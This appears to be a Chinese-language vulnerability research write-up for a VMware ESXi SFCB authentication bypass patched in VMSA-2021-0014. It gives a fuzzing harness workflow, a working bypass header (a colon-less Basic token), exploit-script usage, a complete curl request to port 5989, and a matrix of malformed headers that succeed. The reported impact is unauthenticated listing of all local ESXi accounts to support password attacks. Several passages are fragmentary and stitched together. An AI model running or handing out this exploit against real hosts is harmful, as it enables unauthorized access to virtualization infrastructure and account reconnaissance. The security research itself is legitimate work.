| 字段 | 值 |
|---|---|
| 类型 | CWE-287 不正确的身份验证(认证绕过) |
| 组件 | VMware ESXi 内部的 SFCB(Small Footprint CIM Broker) |
| 攻击向量 | 网络,TCP 5989(基于 HTTPS 的 CIM-XML),"特制请求" |
| 影响范围 | VMSA-2021-0014(2021 年 7 月)之前的 ESXi 6.5 / 6.7 / 7.0 |
| 修复 | VMSA-2021-0014 补丁构建 |
| 公开 PoC | 无。 VMware 从未披露请求的具体形式 |
参考资料: NVD · VMSA-2021-0014 (Broadcom) · SentinelOne DB
由于没有现成 PoC,本套件是一个"自行寻找"的测试框架:sfcb_probe.py
先验证一个 oracle(check),然后向 /cimom 投掷一个定向变异字典(fuzz),
并在没有有效凭据的情况下标记任何返回 200 且带 CIM 响应体的结果。
仅可对您自己的实验 VM 或明确处于授权测试范围内的目标使用。
/etc/init.d/sfcbd-watchdog status || /etc/init.d/sfcbd-watchdog start
esxcli network firewall ruleset set --ruleset-id=CIMHttpsServer --enabled=true
esxcli network firewall ruleset list | grep -i cim
esxcli network ip connection list | grep 5989 # 必须处于 LISTEN 状态
# 先建立 oracle(需要一个真实的本地 ESXi 账户,例如 root)
python3 sfcb_probe.py check 192.168.x.x -u root -P 'lab-password'
# 预期输出:no-auth -> 401, bogus -> 401, valid -> 200
# 然后进行 fuzz(仅使用伪造/无凭据,绝不使用您的真实凭据):
python3 sfcb_probe.py fuzz 192.168.x.x --dump out/
已找到绕过方法。根本原因:当 Basic 认证令牌无法解码为包含 : 的
user:password 对时,sfcbd 会跳过 OPEN 认证。
最小 PoC 请求头(root 的 base64,无冒号):
Authorization: Basic cm9vdA==
来自 fuzz 运行的证据矩阵:
返回 200 的响应携带在 CIMOM 内部派发的 CIM-XML 信封
(例如 ERROR CODE="5" Class not found),证明已通过 HTTP 认证层 —
而相同请求若不携带该畸形请求头则返回 401。
漏洞利用用法:
python3 sfcb_exploit.py verify 192.168.x.x # oracle 证明,打印 VULNERABLE
python3 sfcb_exploit.py classes 192.168.x.x # 转储某个命名空间的类名
python3 sfcb_exploit.py instances 192.168.x.x -c CIM_ComputerSystem
用于报告截图的 curl 单行命令:
curl -sk -X POST "https://192.168.x.x:5989/cimom" \
-H 'Content-Type: application/xml; charset=utf-8' \
-H 'CIMOperation: MethodCall' -H 'CIMMethod: EnumerateClassNames' \
-H 'CIMObject: root/cimv2' -H 'Authorization: Basic cm9vdA==' \
-d '<CIM CIMVERSION="2.0" DTDVERSION="2.0"><MESSAGE ID="1" PROTOCOLVERSION="1.0"><SIMPLEREQ><IMETHODCALL NAME="EnumerateClassNames"><LOCALNAMESPACEPATH><NAMESPACE NAME="root"/><NAMESPACE NAME="cimv2"/></LOCALNAMESPACEPATH></IMETHODCALL></SIMPLEREQ></MESSAGE></CIM>'
影响:对 CIM broker 的未认证读取访问:
VMware_Identity 实例会泄露所有 ESXi 本地账户
(在实验室 6.5 上观察到:root、dcui、vpxuser — 由 vCenter 管理的主机 —
以及自定义用户),从而支持定向密码攻击。VMware_RoleBasedAuthorizationService、
CIM_PrivilegeManagementService)声明了 DMTF 配置文件方法
(AssignRoles、AssignAccess 等),但不暴露任何实例 —
这些方法仅存在于 schema 中。通过 CIM 创建/修改账户在此 CVE 下不可行;
影响上限为未认证的信息泄露。判定结果:
BYPASS-STRONG — 在无有效凭据的情况下返回 HTTP 200 + CIM-XML 响应体 →
您已找到绕过方法;转储的请求即为您的漏洞利用原语。bypass-weak(200-no-cim-body) — 返回 200 但无 CIM 响应体;请检查转储内容。blocked / info(400) — 被拒绝。注意:400 通常意味着请求在认证被评估之前
就已失败 — 仍有研究价值,但不构成绕过。关于手工构造 CIM 响应体的说明:根据 DSP0200,EnumerateInstanceNames 要求
提供 ClassName IPARAMVALUE。缺少该参数的响应体可能因与认证无关的原因而被拒绝,
从而污染 oracle — 本测试框架始终发送符合规范的响应体。
该 fuzzer 覆盖了经典的 HTTP 认证解析器混淆形态。如果均未命中, 剩余(且最终)的路径是二进制差异对比:
esx-base
VIB 以及已应用 VMSA-2021-0014 补丁的 6.5/6.7/7.0 构建:
https://hostupdate.vmware.com/software/VUM/PRODUCTION/main/vmw-depot-index.xmlar 归档 → vib 载荷 → cpio),使用 Ghidra + BinDiff
对 sfcbd* 二进制文件进行差异对比。sfcb)对 HTTP+认证代码路径是
有用的结构参考,尽管 ESXi 的分支经过修改。| 请求形式 | 状态 | 含义 |
|---|
无请求头 / 有效的 user:pass b64 / : / root: | 401 | 存在冒号 → 执行认证 → 被拒绝 |
b64("root")(无冒号) | 200 + CIM 响应体 | 无冒号 → 跳过认证 |
b64("\0:\0")(空 C 字符串) | 200 | 同理:无冒号 |
无效 base64(空格 / BOM / Basic 前缀) | 200 | 解码失败 → 跳过认证 |
Basic\tTOKEN(制表符分隔) | 401 | 任意 WSP 拆分可正常解析 → 执行认证 |
Basic␣␣TOKEN(双空格) | 200 | 单空格拆分 → 令牌以空格开头 → 解码失败 |